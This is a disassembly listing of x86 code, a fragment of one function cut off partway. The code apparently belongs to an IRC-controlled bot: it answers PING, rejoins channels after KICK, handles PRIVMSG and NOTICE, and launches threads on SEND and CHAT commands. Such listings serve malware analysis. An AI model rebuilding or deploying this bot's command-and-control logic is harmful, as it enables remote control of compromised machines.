var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call sub_41C500
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41BF70
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41BFD0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F75
push esi
lea eax, [ebp+var_428C]
push ebx
push eax
call sub_41BF70
dec esi
lea eax, [ebp+var_428C]
push esi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push offset asc_42CDC4 ; " :"
push eax
call sub_41C2E0
mov [ebp+var_C], eax
lea eax, [ebp+var_428C]
push esi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
mov esi, offset asc_42CDC0 ; " "
lea eax, [ebp+var_4EF8]
push esi
push eax
call sub_41CAD4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F75
cmp [ebp+var_8C], ebx
jz loc_401F75
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
loc_401C3E: ; DATA XREF: .sxdata:004DEAB1r
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
push offset asc_42CDBC ; "!"
push eax
call sub_41CAD4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD:loc_401C3Ej
push esi
push offset aPing ; "PING"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409823
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a005 ; "005"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a302_0 ; "302"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41BFD0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40AE84
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401E9A
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409823
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401F75
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E8D: ; CODE XREF: sub_401ACD+5F6j
; sub_401ACD+8B9j ...
push [ebp+arg_4]
call sub_409823
jmp loc_404260
; ---------------------------------------------------------------------------
loc_401E9A: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401FDD
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC3: ; CODE XREF: sub_401ACD+448j
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F10
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F10
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C890
push [ebp+arg_1C]
push edi
call sub_41C8A0
add esp, 10h
mov edi, 80h
loc_401F10: ; CODE XREF: sub_401ACD+407j
; sub_401ACD+41Ej
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC3
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_401F75
cmp [ebp+arg_24], ebx
jz short loc_401F75
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F4D
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41BFD0
jmp loc_4036A2
; ---------------------------------------------------------------------------
loc_401F4D: ; CODE XREF: sub_401ACD+46Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F52: ; CODE XREF: sub_401ACD+4A6j
cmp [edi], bl
jz short loc_401F69
lea eax, [ebp+var_E04]
push eax
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401F7D
loc_401F69: ; CODE XREF: sub_401ACD+487j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F52
loc_401F75: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej
pop eax
loc_401F78: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A40j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F7D: ; CODE XREF: sub_401ACD+49Aj
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F75
push eax
call sub_41B9C0
push [ebp+arg_24]
mov edi, eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F75
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi
call sub_41C266
push ebx
lea eax, [ebp+var_45F0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409869
add esp, 24h
jmp short loc_401F75
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401ACD+3DCj
push esi
push offset aPart ; "PART"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401FFF
push esi
push offset aQuit ; "QUIT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402026
loc_401FFF: ; CODE XREF: sub_401ACD+51Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402004: ; CODE XREF: sub_401ACD+557j
cmp [edi], bl
jz short loc_40201A
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_402067
loc_40201A: ; CODE XREF: sub_401ACD+539j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402004
loc_402026: ; CODE XREF: sub_401ACD+530j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4020C8
push [ebp+var_80]
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40205A
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40205A: ; CODE XREF: sub_401ACD+582j
push [ebp+var_80]
push offset unk_42CCFC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_401ACD+54Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CCDC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41CA50
add esp, 18h
test eax, eax
jnz loc_401F75
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4020C8: ; CODE XREF: sub_401ACD+56Dj
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41CA50
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
cmp dword_429088, ebx
jz loc_409644
loc_40211C: ; CODE XREF: sub_401ACD+615j
; sub_401ACD+627j
push [ebp+var_8C]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_402160: ; CODE XREF: sub_401ACD+891j
; sub_401ACD+8CDj ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42CCC0
mov [ebp+arg_8], eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40253B
push [ebp+esi+var_8C]
push offset aSend ; "SEND"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402402
cmp [ebp+var_A4], ebx
jz loc_4023DB
push [ebp+esi+var_88]
mov edi, offset aS_8 ; "%s"
lea eax, [ebp+var_1B84]
push edi
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_1B98]
push [ebp+esi+var_84]
push edi
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A80]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CC84
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset sub_416563
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40228C: ; CODE XREF: sub_401ACD+7D3j
cmp [ebp+var_19F0], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40228C
; ---------------------------------------------------------------------------
loc_4022A2: ; CODE XREF: sub_401ACD+65Fj
; sub_401ACD+675j
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4022BB
mov [ebp+var_4], 1
loc_4022BB: ; CODE XREF: sub_401ACD+7E5j
cmp [ebp+var_88], ebx
jz loc_401F75
push offset dword_42CC80
push [ebp+var_88]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4022E2
cmp [ebp+var_4], ebx
jz short loc_4022EE
loc_4022E2: ; CODE XREF: sub_401ACD+80Ej
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_4022EE: ; CODE XREF: sub_401ACD+813j
cmp [ebp+var_84], ebx
jz loc_401F75
inc [ebp+var_84]
jz short loc_40233A
cmp [ebp+arg_10], ebx
jz short loc_40233A
lea eax, [ebp+var_338]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C850
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_402340
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_401ACD+833j
; sub_401ACD+838j
mov esi, [ebp+var_AC]
loc_402340: ; CODE XREF: sub_401ACD+86Bj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F75
loc_40234F: ; DATA XREF: .sxdata:004DEE7Fr
push edi
push offset dword_42CC74
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_40238B
mov eax, dword_4CB888
mov eax, off_429160[eax*4]
cmp [eax], bl
jz short loc_40238B
push eax
push ecx
push offset dword_42CC58
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_40238B: ; CODE XREF: sub_401ACD+8A0j
; sub_401ACD+8B0j
push edi
push offset dword_42CC50
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_402160
push eax
push ecx
push offset dword_42CC38
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4023CA: ; CODE XREF: sub_401ACD+7B9j
; sub_401ACD+76B7j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42CBFC
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_401ACD+6DDj
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CBB8
loc_4023EE: ; CODE XREF: sub_401ACD+7C19j
; sub_401ACD+7C80j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 10h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_402402: ; CODE XREF: sub_401ACD+6D1j
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41CA50
loc_402413: ; DATA XREF: sub_4DE2D7+9Bw
; sub_4DE68C+3r
pop ecx
test eax, eax
pop ecx
jnz loc_402551
cmp [ebp+var_A4], ebx
loc_402423: ; DATA XREF: sub_4DE2D7+A9r
jz loc_40252A
push 1Bh
loc_40242B: ; DATA XREF: sub_4DE2D7+222r
call sub_40B602
test eax, eax
pop ecx
jnz loc_402519
push [ebp+esi+var_84]
lea eax, [ebp+var_2AAC]
push offset aS_8 ; "%s"
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2994]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
loc_402493: ; DATA XREF: sub_4DE2D7+1C0r
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CB90
push eax
call sub_41C266
loc_4024AB: ; DATA XREF: sub_4DE9D0+24r
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset sub_416000
push ebx
push ebx
loc_4024D6: ; DATA XREF: .sxdata:004DED6Do
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_402508
loc_4024F2: ; CODE XREF: sub_401ACD+A39j
cmp [ebp+var_2904], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4024F2
; ---------------------------------------------------------------------------
loc_402508: ; CODE XREF: sub_401ACD+A23j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42CB58
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_401ACD+966j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB28
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40252A: ; CODE XREF: sub_401ACD:loc_402423j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CAF4
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_401ACD+6B6j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
